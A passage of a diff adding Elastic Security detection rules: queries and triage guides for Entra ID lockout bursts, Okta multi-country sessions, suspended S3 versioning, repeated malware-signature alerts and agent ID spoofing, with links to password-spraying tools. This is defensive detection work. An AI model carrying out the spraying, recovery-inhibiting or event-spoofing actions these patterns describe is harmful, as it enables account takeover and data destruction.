malicious files or processes associated with the detected signatures.\n- Analyze the identified malware to understand its behavior and entry points. This will help in determining if additional hosts may be compromised and require similar remediation actions.\n- Apply security patches and updates to all affected systems to close any vulnerabilities that the malware may have exploited.\n- Restore affected systems from clean backups if the malware has caused significant damage or if the integrity of the system cannot be assured after cleaning.\n- Monitor network traffic and endpoint activities closely for any signs of persistence or re-infection, using enhanced detection rules and updated threat intelligence feeds.\n- Escalate the incident to the appropriate internal or external cybersecurity teams if the infection appears to be part of a larger coordinated attack, ensuring that all relevant data and findings are shared for further investigation and response.", + "query": "from logs-endpoint.alerts-*\n| where event.code in (\"malicious_file\", \"memory_signature\", \"shellcode_thread\") and rule.name is not null\n| keep host.id, rule.name, event.code\n| stats Esql.host_id_count_distinct = count_distinct(host.id) by rule.name, event.code\n| where Esql.host_id_count_distinct >= 3\n", + "references": [ + "https://github.com/elastic/protections-artifacts/tree/main/yara/rules" + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.host_id_count_distinct", + "type": "long" + }, + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "rule.name", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "28371aa1-14ed-46cf-ab5b-2fc7d1942278", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "Data Source: Elastic Defend", + "Use Case: Threat Detection", + "Tactic: Execution", + "Rule Type: Higher-Order Rule", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1204", + "name": "User Execution", + "reference": "https://attack.mitre.org/techniques/T1204/", + "subtechnique": [ + { + "id": "T1204.002", + "name": "Malicious File", + "reference": "https://attack.mitre.org/techniques/T1204/002/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 5 + }, + "id": "28371aa1-14ed-46cf-ab5b-2fc7d1942278_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/2d6f5332-42ea-11f0-b09a-f661ea17fbcd_4.json b/packages/security_detection_engine/kibana/security_rule/2d6f5332-42ea-11f0-b09a-f661ea17fbcd_4.json new file mode 100644 index 00000000000..3f834c46353 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/2d6f5332-42ea-11f0-b09a-f661ea17fbcd_4.json @@ -0,0 +1,259 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies a high count of failed Microsoft Entra ID sign-in attempts as the result of the target user account being locked out. Adversaries may attempt to brute-force user accounts by repeatedly trying to authenticate with incorrect credentials, leading to account lockouts by Entra ID Smart Lockout policies.", + "false_positives": [ + "Automated processes that attempt to authenticate using expired credentials or have misconfigured authentication settings may lead to false positives." + ], + "from": "now-60m", + "interval": "15m", + "language": "esql", + "license": "Elastic License v2", + "name": "Microsoft Entra ID Exccessive Account Lockouts Detected", + "note": "## Triage and analysis\n\n### Investigating Microsoft Entra ID Exccessive Account Lockouts Detected\n\nThis rule detects a high number of sign-in failures due to account lockouts (error code `50053`) in Microsoft Entra ID sign-in logs. These lockouts are typically caused by repeated authentication failures, often as a result of brute-force tactics such as password spraying, credential stuffing, or automated guessing. This detection is time-bucketed and aggregates attempts to identify bursts or coordinated campaigns targeting multiple users.\n\n### Possible investigation steps\n\n- Review `user_id_list` and `user_principal_name`: Check if targeted users include high-value accounts such as administrators, service principals, or shared inboxes.\n- Check `error_codes` and `result_description`: Validate that `50053` (account locked) is the consistent failure type. Messages indicating \"malicious IP\" activity suggest Microsoft\u2019s backend flagged the source.\n- Analyze `ip_list` and `source_orgs`: Identify whether the activity originated from known malicious infrastructure (e.g., VPNs, botnets, or public cloud providers). In the example, traffic originates from `MASSCOM`, which should be validated.\n- Inspect `device_detail_browser` and `user_agent`: Clients like `\"Python Requests\"` indicate scripted automation rather than legitimate login attempts.\n- Evaluate `unique_users` vs. `total_attempts`: A high ratio suggests distributed attacks across multiple accounts, characteristic of password spraying.\n- Correlate `client_app_display_name` and `incoming_token_type`: PowerShell or unattended sign-in clients may be targeted for automation or legacy auth bypass.\n- Review `conditional_access_status` and `risk_state`: If Conditional Access was not applied and risk was not flagged, policy scope or coverage should be reviewed.\n- Validate time range (`first_seen`, `last_seen`): Determine whether the attack is a short burst or part of a longer campaign.\n\n### False positive analysis\n\n- Misconfigured clients, scripts, or services with outdated credentials may inadvertently cause lockouts.\n- Repeated lockouts from known internal IPs or during credential rotation windows could be benign.\n- Legacy applications without modern auth support may repeatedly fail and trigger Smart Lockout.\n- Specific known user agents (e.g., corporate service accounts).\n- Internal IPs or cloud-hosted automation with expected failure behavior.\n\n### Response and remediation\n\n- Investigate locked accounts immediately. Confirm if the account was successfully accessed prior to lockout.\n- Reset credentials for impacted users and enforce MFA before re-enabling accounts.\n- Block malicious IPs or ASN at the firewall, identity provider, or Conditional Access level.\n- Audit authentication methods in use, and enforce modern auth (OAuth, SAML) over legacy protocols.\n- Strengthen Conditional Access policies to reduce exposure from weak locations, apps, or clients.\n- Conduct credential hygiene audits to assess reuse and rotation for targeted accounts.\n", + "query": "from logs-azure.signinlogs-*\n\n| eval\n Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp),\n Esql_priv.azure_signinlogs_properties_user_principal_name_lower = to_lower(azure.signinlogs.properties.user_principal_name),\n Esql.azure_signinlogs_properties_incoming_token_type_lower = to_lower(azure.signinlogs.properties.incoming_token_type),\n Esql.azure_signinlogs_properties_app_display_name_lower = to_lower(azure.signinlogs.properties.app_display_name)\n\n| where event.dataset == \"azure.signinlogs\"\n and event.category == \"authentication\"\n and azure.signinlogs.category in (\"NonInteractiveUserSignInLogs\", \"SignInLogs\")\n and event.outcome == \"failure\"\n and azure.signinlogs.properties.authentication_requirement == \"singleFactorAuthentication\"\n and azure.signinlogs.properties.status.error_code == 50053\n and azure.signinlogs.properties.user_principal_name is not null\n and azure.signinlogs.properties.user_principal_name != \"\"\n and source.`as`.organization.name != \"MICROSOFT-CORP-MSN-as-BLOCK\"\n\n| stats\n Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement),\n Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id),\n Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name),\n Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id),\n Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name),\n Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status),\n Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser),\n Esql.azure_signinlogs_properties_device_detail_device_id_values = values(azure.signinlogs.properties.device_detail.device_id),\n Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system),\n Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type),\n Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state),\n Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id),\n Esql.azure_signinlogs_properties_user_id_values = values(azure.signinlogs.properties.user_id),\n Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name),\n Esql.azure_signinlogs_result_description_values = values(azure.signinlogs.result_description),\n Esql.azure_signinlogs_result_signature_values = values(azure.signinlogs.result_signature),\n Esql.azure_signinlogs_result_type_values = values(azure.signinlogs.result_type),\n\n Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct = count_distinct(Esql_priv.azure_signinlogs_properties_user_principal_name_lower),\n Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values = values(Esql_priv.azure_signinlogs_properties_user_principal_name_lower),\n Esql.azure_signinlogs_result_description_count_distinct = count_distinct(azure.signinlogs.result_description),\n Esql.azure_signinlogs_properties_status_error_code_count_distinct = count_distinct(azure.signinlogs.properties.status.error_code),\n Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code),\n Esql.azure_signinlogs_properties_incoming_token_type_lower_values = values(Esql.azure_signinlogs_properties_incoming_token_type_lower),\n Esql.azure_signinlogs_properties_app_display_name_lower_values = values(Esql.azure_signinlogs_properties_app_display_name_lower),\n Esql.source_ip_values = values(source.ip),\n Esql.source_ip_count_distinct = count_distinct(source.ip),\n Esql.source_as_organization_name_values = values(source.`as`.organization.name),\n Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name),\n Esql.source_geo_country_name_values = values(source.geo.country_name),\n Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name),\n Esql.@timestamp.min = min(@timestamp),\n Esql.@timestamp.max = max(@timestamp),\n Esql.event_count = count()\nby Esql.time_window_date_trunc\n\n| where Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct >= 15 and Esql.event_count >= 20\n\n| keep\n Esql.time_window_date_trunc,\n Esql.event_count,\n Esql.@timestamp.min,\n Esql.@timestamp.max,\n Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct,\n Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values,\n Esql.azure_signinlogs_result_description_count_distinct,\n Esql.azure_signinlogs_result_description_values,\n Esql.azure_signinlogs_properties_status_error_code_count_distinct,\n Esql.azure_signinlogs_properties_status_error_code_values,\n Esql.azure_signinlogs_properties_incoming_token_type_lower_values,\n Esql.azure_signinlogs_properties_app_display_name_lower_values,\n Esql.source_ip_values,\n Esql.source_ip_count_distinct,\n Esql.source_as_organization_name_values,\n Esql.source_as_organization_name_count_distinct,\n Esql.source_geo_country_name_values,\n Esql.source_geo_country_name_count_distinct,\n Esql.azure_signinlogs_properties_authentication_requirement_values,\n Esql.azure_signinlogs_properties_app_id_values,\n Esql.azure_signinlogs_properties_app_display_name_values,\n Esql.azure_signinlogs_properties_resource_id_values,\n Esql.azure_signinlogs_properties_resource_display_name_values,\n Esql.azure_signinlogs_properties_conditional_access_status_values,\n Esql.azure_signinlogs_properties_device_detail_browser_values,\n Esql.azure_signinlogs_properties_device_detail_device_id_values,\n Esql.azure_signinlogs_properties_device_detail_operating_system_values,\n Esql.azure_signinlogs_properties_incoming_token_type_values,\n Esql.azure_signinlogs_properties_risk_state_values,\n Esql.azure_signinlogs_properties_session_id_values,\n Esql.azure_signinlogs_properties_user_id_values,\n Esql_priv.azure_signinlogs_properties_user_principal_name_values,\n Esql.azure_signinlogs_result_description_values,\n Esql.azure_signinlogs_result_signature_values,\n Esql.azure_signinlogs_result_type_values\n", + "references": [ + "https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/", + "https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying", + "https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray", + "https://www.sprocketsecurity.com/blog/exploring-modern-password-spraying", + "https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties", + "https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes", + "https://github.com/0xZDH/Omnispray", + "https://github.com/0xZDH/o365spray" + ], + "related_integrations": [ + { + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.@timestamp.max", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.@timestamp.min", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_display_name_lower_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_authentication_requirement_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_conditional_access_status_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_device_detail_browser_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_device_detail_device_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_device_detail_operating_system_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_incoming_token_type_lower_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_incoming_token_type_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_risk_state_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_session_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_status_error_code_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_status_error_code_values", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_user_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_description_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_description_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_signature_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_type_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_ip_values", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql_priv.azure_signinlogs_properties_user_principal_name_values", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "2d6f5332-42ea-11f0-b09a-f661ea17fbcd", + "severity": "high", + "tags": [ + "Domain: Cloud", + "Domain: Identity", + "Data Source: Azure", + "Data Source: Entra ID", + "Data Source: Entra ID Sign-in Logs", + "Use Case: Identity and Access Audit", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.001", + "name": "Password Guessing", + "reference": "https://attack.mitre.org/techniques/T1110/001/" + }, + { + "id": "T1110.003", + "name": "Password Spraying", + "reference": "https://attack.mitre.org/techniques/T1110/003/" + }, + { + "id": "T1110.004", + "name": "Credential Stuffing", + "reference": "https://attack.mitre.org/techniques/T1110/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "2d6f5332-42ea-11f0-b09a-f661ea17fbcd_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/2e56e1bc-867a-11ee-b13e-f661ea17fbcd_309.json b/packages/security_detection_engine/kibana/security_rule/2e56e1bc-867a-11ee-b13e-f661ea17fbcd_309.json new file mode 100644 index 00000000000..2dec07463b1 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/2e56e1bc-867a-11ee-b13e-f661ea17fbcd_309.json @@ -0,0 +1,86 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations.", + "from": "now-30m", + "interval": "15m", + "language": "esql", + "license": "Elastic License v2", + "name": "Okta User Sessions Started from Different Geolocations", + "note": "## Triage and analysis\n\n### Investigating Okta User Sessions Started from Different Geolocations\n\nThis rule detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations.\n\n#### Possible investigation steps:\n- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.client.id` values can be used to pivot into the raw authentication events related to this alert.\n- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields.\n- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields.\n- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field.\n - Historical analysis should indicate if this device token hash is commonly associated with the user.\n- Review the `okta.event_type` field to determine the type of authentication event that occurred.\n - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons.\n - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying.\n - If the event type is `user.session.start`, the source may have attempted to establish a session via the Okta authentication API.\n- Review the past activities of the actor(s) involved in this action by checking their previous actions.\n- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity.\n - This may help determine the authentication and authorization actions that occurred between the user, Okta and application.\n\n### False positive analysis:\n- It is very rare that a legitimate user would have multiple sessions started from different geo-located countries in a short time frame.\n\n### Response and remediation:\n- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required.\n- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA).\n - If MFA is already enabled, consider resetting MFA for the users.\n- If any of the users are not legitimate, consider deactivating the user's account.\n- Conduct a review of Okta policies and ensure they are in accordance with security best practices.\n- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user.\n - If so, confirm with the user this was a legitimate request.\n - If so and this was not a legitimate request, consider deactivating the user's account temporarily.\n - Reset passwords and reset MFA for the user.\n- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule.\n - This will prevent future occurrences of this event for this device from triggering the rule.\n - Alternatively adding `okta.client.ip` or a CIDR range to the `exceptions` list can prevent future occurrences of this event from triggering the rule.\n - This should be done with caution as it may prevent legitimate alerts from being generated.\n", + "query": "from logs-okta*\n| where\n event.dataset == \"okta.system\" and\n (event.action like \"user.authentication.*\" or event.action == \"user.session.start\") and\n okta.security_context.is_proxy != true and\n okta.actor.id != \"unknown\" and\n event.outcome == \"success\"\n| keep\n event.action,\n okta.security_context.is_proxy,\n okta.actor.id,\n okta.actor.alternate_id,\n event.outcome,\n client.geo.country_name\n| stats\n Esql.client_geo_country_name_count_distinct = count_distinct(client.geo.country_name)\n by okta.actor.id, okta.actor.alternate_id\n| where\n Esql.client_geo_country_name_count_distinct >= 2\n| sort\n Esql.client_geo_country_name_count_distinct desc\n", + "references": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy", + "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection", + "https://www.rezonate.io/blog/okta-logs-decoded-unveiling-identity-threats-through-threat-hunting/", + "https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security", + "https://www.elastic.co/security-labs/starter-guide-to-understanding-okta" + ], + "related_integrations": [ + { + "package": "okta", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.client_geo_country_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "okta.actor.alternate_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "okta.actor.id", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "2e56e1bc-867a-11ee-b13e-f661ea17fbcd", + "setup": "The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.\n", + "severity": "medium", + "tags": [ + "Use Case: Identity and Access Audit", + "Data Source: Okta", + "Tactic: Initial Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0001", + "name": "Initial Access", + "reference": "https://attack.mitre.org/tactics/TA0001/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.004", + "name": "Cloud Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 309 + }, + "id": "2e56e1bc-867a-11ee-b13e-f661ea17fbcd_309", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/30b5bb96-c7db-492c-80e9-1eab00db580b_6.json b/packages/security_detection_engine/kibana/security_rule/30b5bb96-c7db-492c-80e9-1eab00db580b_6.json new file mode 100644 index 00000000000..57740e8bf08 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/30b5bb96-c7db-492c-80e9-1eab00db580b_6.json @@ -0,0 +1,115 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies when object versioning is suspended for an Amazon S3 bucket. Object versioning allows for multiple versions of an object to exist in the same bucket. This allows for easy recovery of deleted or overwritten objects. When object versioning is suspended for a bucket, it could indicate an adversary's attempt to inhibit system recovery following malicious activity. Additionally, when versioning is suspended, buckets can then be deleted.", + "event_category_override": "event.type", + "false_positives": [ + "Administrators within an AWS Organization structure may legitimately suspend object versioning. Ensure that this behavior is not part of a legitimate operation before taking action." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "aws.cloudtrail.resources.arn", + "aws.cloudtrail.resources.type", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "eql", + "license": "Elastic License v2", + "name": "AWS S3 Object Versioning Suspended", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS S3 Object Versioning Suspended\n\nThis rule detects when object versioning for an S3 bucket is suspended. S3 object versioning protects against data loss by maintaining prior versions of objects, allowing recovery if they are deleted or overwritten. \nAdversaries with access to a misconfigured or compromised S3 bucket may disable versioning to inhibit recovery efforts, conceal data destruction, or prepare for ransomware-like activity. \nThis rule uses [EQL](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-eql-rule) to detect use of the `PutBucketVersioning` API operation where the request parameters include `Status=Suspended`.\n\n#### Possible investigation steps\n\n- **Identify the Actor** \n - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who performed the action. \n - Verify whether this user or role has a legitimate operational reason to modify bucket versioning and whether such actions are common for this identity.\n\n- **Analyze the Source and Context** \n - Review `source.ip` and `user_agent.original` to assess the origin of the request. \n - Check for unusual geographic locations, IP ranges, or clients that do not typically manage storage configurations. \n\n- **Evaluate the Affected Resource** \n - Review `aws.cloudtrail.resources.arn` or `aws.cloudtrail.request_parameters` to identify which bucket\u2019s versioning was modified. \n - Determine whether this bucket contains critical or regulated data (logs, backups, audit evidence, etc.) that would be impacted by versioning suspension.\n\n- **Correlate with Related Activity** \n - Search for additional CloudTrail events performed by the same actor or IP address within the same timeframe, such as: \n - `DeleteObject`, `DeleteObjects`, or `PutBucketLifecycle` events (potential data destruction). \n - `PutBucketPolicy` or `PutBucketAcl` changes (permission manipulation). \n - Review other detections related to S3 buckets or IAM changes to determine if this event is part of a larger sequence of destructive or unauthorized actions.\n\n- **Validate Intent** \n - Confirm whether this configuration change aligns with approved maintenance or automation activity (e.g., cost optimization, test environment reset). \n - If no corresponding change request or justification exists, treat this as a potential defense evasion or impact event.\n\n### False positive analysis\n\n- **Legitimate Administrative Actions** \n - Administrators or infrastructure automation tools may suspend versioning during migrations or lifecycle testing. Confirm through change management documentation. \n- **Automation and Pipelines** \n - Verify whether Infrastructure-as-Code tools (e.g., Terraform, CloudFormation) or backup lifecycle scripts routinely modify versioning states. \n - Exclude predictable automation identities where justified, while ensuring strong audit controls remain in place.\n\n### Response and remediation\n\n**Containment and Validation** \n- Re-enable versioning immediately for the affected bucket using the AWS Console or CLI (`aws s3api put-bucket-versioning --bucket my-bucket --versioning-configuration Status=Enabled`). \n- Verify the change with `get-bucket-versioning` to confirm the bucket is restored to \u201cEnabled.\u201d \n- Identify IAM users or roles with `s3:PutBucketVersioning` permissions and restrict access to trusted administrators only. \n- Preserve relevant CloudTrail, Config, and CloudWatch logs for the timeframe of the change to ensure integrity of investigation evidence.\n\n**Investigation and Scoping** \n- Search CloudTrail for related actions by the same user or IP, including `DeleteObject`, `PutBucketLifecycle`, or `PutBucketPolicy`, to determine whether versioning suspension preceded object deletion or policy manipulation. \n- Review S3 access logs or Data Events for deleted, overwritten, or newly uploaded files after versioning suspension. \n- Validate if the change corresponds to an authorized change request or approved pipeline deployment.\n\n**Recovery and Hardening** \n- If object loss or overwrites occurred, attempt recovery using cross-region replication, AWS Backup, or previous snapshot copies. \n- Enable S3 Object Lock and MFA Delete on critical buckets to prevent future tampering. \n- Configure the AWS Config rule `s3-bucket-versioning-enabled` to continuously monitor for versioning suspension and trigger automated alerts. \n- Review IAM and service control policies to ensure the principle of least privilege is enforced for all S3 management actions. \n- Document findings and update incident response procedures to include versioning protection as part of ransomware and data destruction prevention strategies.\n\n\n### Additional information\n- AWS Documentation: [Using Versioning in S3](https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html) \n- API Reference: [PutBucketVersioning](https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketVersioning.html) \n- [AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)\n- [AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)\n", + "query": "info where event.dataset == \"aws.cloudtrail\"\n and event.provider == \"s3.amazonaws.com\"\n and event.action == \"PutBucketVersioning\"\n and event.outcome == \"success\"\n and stringContains(aws.cloudtrail.request_parameters, \"Status=Suspended\")\n", + "references": [ + "https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html/", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketVersioning.html/", + "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/", + "https://www.invictus-ir.com/news/ransomware-in-the-cloud/", + "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "aws.cloudtrail.request_parameters", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "30b5bb96-c7db-492c-80e9-1eab00db580b", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS S3", + "Use Case: Threat Detection", + "Tactic: Impact", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1490", + "name": "Inhibit System Recovery", + "reference": "https://attack.mitre.org/techniques/T1490/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 6 + }, + "id": "30b5bb96-c7db-492c-80e9-1eab00db580b_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/3115bd2c-0baa-4df0-80ea-45e474b5ef93_104.json b/packages/security_detection_engine/kibana/security_rule/3115bd2c-0baa-4df0-80ea-45e474b5ef93_104.json new file mode 100644 index 00000000000..0012c07e5c4 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/3115bd2c-0baa-4df0-80ea-45e474b5ef93_104.json @@ -0,0 +1,64 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects events that have a mismatch on the expected event agent ID. The status \"agent_id_mismatch/mismatch\" occurs when the expected agent ID associated with the API key does not match the actual agent ID in an event. This could indicate attempts to spoof events in order to masquerade actual activity to evade detection.", + "false_positives": [ + "This is meant to run only on datasources using Elastic Agent 7.14+ since versions prior to that will be missing the necessary field, resulting in false positives." + ], + "from": "now-9m", + "index": [ + "logs-*", + 